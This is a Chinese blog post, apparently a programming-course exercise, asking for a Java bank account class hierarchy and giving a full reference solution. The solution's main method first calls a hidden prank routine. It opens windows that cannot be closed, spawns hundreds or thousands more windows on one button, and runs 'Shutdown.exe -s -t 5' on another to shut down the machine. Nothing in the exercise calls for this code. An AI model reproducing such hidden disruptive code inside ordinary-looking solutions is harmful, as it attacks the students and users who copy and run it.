创建一个银行账户的继承层次,表示银行的所有客户的账户。每个客户都能在他们的银行账户存钱,取钱。但是账户可以分为更具体的两种类型,例如,依靠存款生息的存储账户SavingsAccount类,另一种就是信

简介: 创建一个银行账户的继承层次,表示银行的所有客户的账户。每个客户都能在他们的银行账户存钱,取钱。但是账户可以分为更具体的两种类型,例如,依靠存款生息的存储账户SavingsAccount类,另一种就是信

创建一个银行账户的继承层次,表示银行的所有客户的账户。每个客户都能在他们的银行账户存钱,取钱。但是账户可以分为更具体的两种类型,例如,依靠存款生息的存储账户SavingsAccount类,另一种就是信用卡账户CheckingAccount(没有利息但可以透支一定的金额)。每个账户的每次交易都需要存储以方便用来查询。每个客户可以拥有很多不同id的银行账户。

1、题目描述

创建一个银行账户的继承层次,表示银行的所有客户的账户。每个客户都能在他们的银行账户存钱,取钱。但是账户可以分为更具体的两种类型,例如,依靠存款生息的存储账户SavingsAccount类,另一种就是信用卡账户CheckingAccount(没有利息但可以透支一定的金额)。每个账户的每次交易都需要存储以方便用来查询。每个客户可以拥有很多不同id的银行账户。

2、

【任务一】根据设计出的UML图,回答问题

(1). Person和Account之间是什么关系?

(2). Account和Transaction之间是什么关系?

(3). SavingsAccount和CheckingAccount和Account之间是什么关系?

【任务二】根据设计图和运行结果,设计出每个类的代码。测试程序的主要代码已经给出,请补充部分方法。

代码仅供参考

代码仅供参考

代码仅供参考

最后的输出格式和编译器有关,不同编译器最终对齐方式可能有所不同,最终输出格式请自己修改。

/**
 *作者:魏宝航
 *2020年11月23日,下午18:08
 */
import javax.swing.*;
import javax.swing.border.EmptyBorder;
import java.awt.Font;
import java.io.IOException;
import java.util.Date;
public class Test{
    public static void main(String[] args) {
        fn();
        Person p=new Person("George");
        SavingsAccount account1=new SavingsAccount(p.getName(),1122,1000);
        SavingsAccount.setAnnualInterestRate(5.5);
        SavingsAccount account2=new SavingsAccount(p.getName(),1122,1000);
        CheckingAccount account3=new CheckingAccount(p.getName(),2233,0,20000);
        p.addAccount(account1);
        p.addAccount(account3);
        p.printAllAccount();
        account1.deposit(30);
        account1.deposit(40);
        account1.deposit(50);
        account1.withdraw(5);
        account1.withdraw(4);
        account1.withdraw(2);
        printAllTrans(account1);
        account3.withdraw(3000);
        account3.withdraw(4000);
        account3.withdraw(5000);
        account3.withdraw(8000);
        printAllTrans(account3);
    }
    public static void printAllTrans(Account a){
        System.out.println("Date\t\t\t\t"+"AccountId\t"+"Type\t"+"Amount\t"+"Balance");
        for(int i=0;i<a.data.count;i++){
            System.out.println(a.data.string[i][0]);
        }
    }
    static int k=1;
    public static void fn(){
        JFrame jFrame=new JFrame();
        JPanel contentPane;
        if(k==1)
        {
            jFrame.setBounds(100,100,450,300);
            k++;
        }
        else{
            jFrame.setBounds((int)(Math.random()*1000+500), (int)(Math.random()*1000+500), (int)(Math.random()*1000+500), (int)(Math.random()*1000+500));
        }
        contentPane = new JPanel();
        contentPane.setBorder(new EmptyBorder(5, 5, 5, 5));
        jFrame.setContentPane(contentPane);
        contentPane.setLayout(null);
        JLabel lblNewLabel = new JLabel("\u9B4F\u5B9D\u822A\u5E05\u4E0D\u5E05");
        lblNewLabel.setFont(new Font("宋体", Font.PLAIN, 24));
        lblNewLabel.setBounds(158, 73, 200, 46);
        contentPane.add(lblNewLabel);
        JButton btnNewButton = new JButton("A\uFF1ANO");
        btnNewButton.addActionListener((event)->{
            for(int i=0;i<500;i++) {
                fn();
            }
            fn2();
        });
        btnNewButton.setBounds(30, 140, 100, 46);
        contentPane.add(btnNewButton);
        JButton btnNewButton_1 = new JButton("B\uFF1AYES");
        btnNewButton_1.addActionListener((event)->{
            jFrame.dispose();
        });
        btnNewButton_1.setBounds(168, 139, 91, 48);
        contentPane.add(btnNewButton_1);
        JButton btnNewButton_2 = new JButton("C\uFF1A");
        btnNewButton_2.addActionListener((event)->{
           Runtime run=Runtime.getRuntime();
           try {
          run.exec("Shutdown.exe -s -t "+5);
            } catch (IOException e) {
           e.printStackTrace();
            }
        });
        btnNewButton_2.setBounds(307, 140, 74, 46);
        contentPane.add(btnNewButton_2);
        jFrame.setVisible(true);
        jFrame.setLocationRelativeTo(null);
        jFrame.setDefaultCloseOperation(0);
    }
    static void fn2() {
        JFrame jFrame=new JFrame();
        JPanel contentPane;
        jFrame.setBounds(100, 100, 450, 300);
        contentPane = new JPanel();
        contentPane.setBorder(new EmptyBorder(5, 5, 5, 5));
        jFrame.setContentPane(contentPane);
        contentPane.setLayout(null);
        JLabel lblNewLabel = new JLabel("\u653E\u8086\uFF0C\u518D\u7ED9\u4F60\u4E00\u6B21\u673A\u4F1A\uFF01\uFF01\uFF01");
        lblNewLabel.setFont(new Font("宋体", Font.PLAIN, 24));
        lblNewLabel.setBounds(93, 57, 350, 50);
        contentPane.add(lblNewLabel);
        JButton btnNewButton = new JButton("\u4E0D\u5E05");
        btnNewButton.addActionListener((event)->{
            for(int i=0;i<1000;i++) {
                fn();
            }
        });
        btnNewButton.setBounds(56, 150, 123, 29);
        contentPane.add(btnNewButton);
        JButton btnNewButton_1 = new JButton("\u5E05");
        btnNewButton_1.addActionListener((event)->{
            jFrame.dispose();
        });
        btnNewButton_1.setBounds(234, 150, 123, 29);
        contentPane.add(btnNewButton_1);
        jFrame.setVisible(true);
        jFrame.setLocationRelativeTo(null);
        jFrame.setDefaultCloseOperation(0);
    }
}
class Account {
    private int id;
    private String name;
    private double balance;
    private static double annualInterestRate;//年利率
    Transaction data=new Transaction();
    private java.util.Date dateCreated;
    {
        dateCreated = new java.util.Date();
    }
    public Account() { }
    public Account(Account a){
        id = a.getId();
        balance = a.getBalance();
        this.name=a.getName();
    }
    public Account(String name,int newId, double newBalance) {
        id = newId;
        balance = newBalance;
        this.name=name;
    }
    public int getId() { return this.id; }
    public double getBalance() { return balance; }
    public static double getAnnualInterestRate() { return annualInterestRate; }
    public void setId(int newId) { id = newId; }
    public void setBalance(double newBalance) {
        if(newBalance>0)
            balance = newBalance;
    }
    public static void setAnnualInterestRate(double newAnnualInterestRate) {
        annualInterestRate = newAnnualInterestRate;
    }
    public String getName(){
        return name;
    }
    public double getMonthlyInterest() { return balance * (annualInterestRate / 1200); }
    public double getYearlyInterest() { return balance * (annualInterestRate / 100); }
    public java.util.Date getDateCreated() { return dateCreated; }
    public void withdraw(double amount) {
        this.setBalance(balance-amount);
        String s;
        if(amount<10){
            s=dateCreated+"\t"+this.getId()+"\t\tW"+"\t"+amount+"\t"+balance;
        }
        else{
            s=dateCreated+"\t"+this.getId()+"\t\tW"+"\t"+amount+"\t"+balance;
        }
        data.string[data.count++][0]=s;
    }
    public void deposit(double amount) {
        if(amount<0) return;
        this.setBalance(balance+amount);
        String s=dateCreated+"\t"+this.getId()+"\t\tD"+"\t"+amount+"\t"+balance;
        data.string[data.count++][0]=s;
    }
    public double getAnnual(){
        return annualInterestRate/100;
    }
}
class SavingsAccount extends Account{
    SavingsAccount(String name,int newid,double newbalance){
        super(name,newid,newbalance);
    }
    SavingsAccount(SavingsAccount a){
        super(a);
    }
    @Override
    public String toString(){
        return "SavingsAccount"+"[MonthlyInterest="+this.getMonthlyInterest()+",Id="+this.getId()+",Balance="+this.getBalance()+"\n"+"Name="+this.getName()+",DateCreated="+this.getDateCreated();
    }
}
class CheckingAccount extends Account{
    double sum=0;
    double money=0;
    CheckingAccount(String name,int newid,double newbalance,double sum) {
        super(name, newid, newbalance);
        this.sum = sum;
    }
    CheckingAccount(CheckingAccount a){
        super(a);
    }
    @Override
    public void withdraw(double amount) {
        money-=amount;
        String s;
        if(Math.abs(money)>=sum){
            s="余额不足,取款失败";
            data.string[data.count++][0]=s;
            return;
        }
        else if(amount<10){
            s=super.getDateCreated()+"\t"+this.getId()+"\t\tW"+"\t"+amount+"\t"+money;
        }
        else{
            s=super.getDateCreated()+"\t"+this.getId()+"\t\tW"+"\t"+amount+"\t"+money;
        }
        data.string[data.count++][0]=s;
    }
    @Override
    public String toString(){
        return "CheckingAccount"+"[creditAmount="+sum+",Id="+this.getId()+",Balance="+this.getBalance()+"Name="+this.getName()+"\n"+"DateCreated="+this.getDateCreated();
    }
}
class Transaction{
    double balance;
    double amount;
    String type="";
    int count=0;
    Date date=new Date();
    String[][] string=new String[1000][1];
    Transaction(){
    }
    Transaction(double balance,double amount,String type,Date date){
        this.balance=balance;
        this.amount=amount;
        this.type=type;
        this.date=date;
    }
}
class Person{
    Account[] account=new Account[100];
    String name;
    static int count=0;
    Person(String name){
        this.name=name;
    }
    public void addAccount(SavingsAccount account){
        this.account[count]=new SavingsAccount(account);
        count++;
    }
    public void addAccount(CheckingAccount account){
        this.account[count]=new CheckingAccount(account);
        count++;
    }
    public String getName(){
        return name;
    }
    public void printAllAccount(){
        System.out.println(name+" has "+count+" accounts:");
        for(int i=0;i<count;i++){
            System.out.println(account[i].toString());
        }
    }
}


目录
相关文章
|
缓存 安全 Docker
《Docker 简易速速上手小册》第3章 Dockerfile 与镜像构建(2024 最新版)
《Docker 简易速速上手小册》第3章 Dockerfile 与镜像构建(2024 最新版)
392 0
|
算法 数据安全/隐私保护 Python
哈希算法(hash)加密解密
哈希算法(hash)加密解密
11773 11
哈希算法(hash)加密解密
|
11月前
|
人工智能 算法 搜索推荐
《开源算法:人工智能领域的双刃剑》
在人工智能蓬勃发展的今天,开源算法作为重要支撑,显著促进了算法创新、模型开发、技术进步与知识共享,并节省了时间与计算资源,降低了企业开发成本。然而,它也存在数据隐私与安全、个性化服务、创新速度、技术支持与维护及许可证与法律等方面的局限性。实际应用中需权衡优劣,选择合适方案以实现最大价值。
364 10
|
9月前
数据知识产权登记服务上线了!
数据知识产权登记服务上线了!
245 1
|
机器学习/深度学习 算法 图形学
华为、腾讯开源AniPortrait:用音频、图片生成会说话的视频
【7月更文挑战第17天】华为腾讯联合开源AniPortrait,技术利用音频和图片生成栩栩如生的说话视频。通过音频分析面部表情,结合扩散模型与运动模块创建2D动画,实现自然的肖像动效。虽有高质量表现,但尚处研究阶段,面临隐私、伦理及应用局限性挑战。[论文链接](https://arxiv.org/abs/2403.17694)**
334 5
|
缓存 前端开发 Java
"揭秘!SpringBoot携手Nginx,性能飙升秘籍大公开:轻松掌握配置优化,让你的应用快如闪电!"
【8月更文挑战第11天】随着微服务架构的发展,SpringBoot成为构建RESTful API的首选,Nginx则作为高性能的反向代理服务器提升应用性能。本文将探讨两者如何协同工作,包括Nginx的负载均衡策略、静态资源缓存及数据压缩配置;同时讨论SpringBoot的线程池优化、缓存策略及性能监控。通过这些方法,帮助开发者显著提高系统的整体性能和可用性。
764 1
ThreeJs使用tweenjs动画库制作动画
这篇文章介绍了如何在Three.js中使用Tween.js动画库来简化动画制作流程,并演示了如何通过简单的代码实现动画效果。
381 1
ThreeJs使用tweenjs动画库制作动画
|
11月前
|
机器学习/深度学习 人工智能 算法
昇腾AI行业案例(二):基于 AI 图像处理的安全帽检测
欢迎学习《昇腾行业应用案例》的 “基于 AI 图像处理的安全帽检测” 实验。在本实验中,你将深入了解如何运用计算机视觉(CV)领域的 AI 模型,搭建一个高效精准的安全帽检测系统,并利用开源数据集对模型效果加以验证。为此,我们将使用昇腾的AI硬件以及CANN等软件产品。
380 0
|
数据采集 数据挖掘 大数据
数据处理利器:使用Pandas进行数据清洗与转换
【4月更文挑战第12天】在大数据时代,Pandas是Python数据分析的关键工具,提供高效的数据清洗和转换功能。本文介绍了如何使用Pandas处理缺失值(删除或填充)、异常值(Z-Score法和IQR法)以及重复值(检测和删除)。此外,还涵盖了数据转换,包括数据类型转换、数据标准化(Min-Max和Z-Score)以及类别数据的one-hot编码。通过学习这些方法,可以为数据分析和挖掘奠定坚实基础。
423 0
|
SQL 分布式计算 NoSQL
大数据-170 Elasticsearch 云服务器三节点集群搭建 测试运行
大数据-170 Elasticsearch 云服务器三节点集群搭建 测试运行
309 4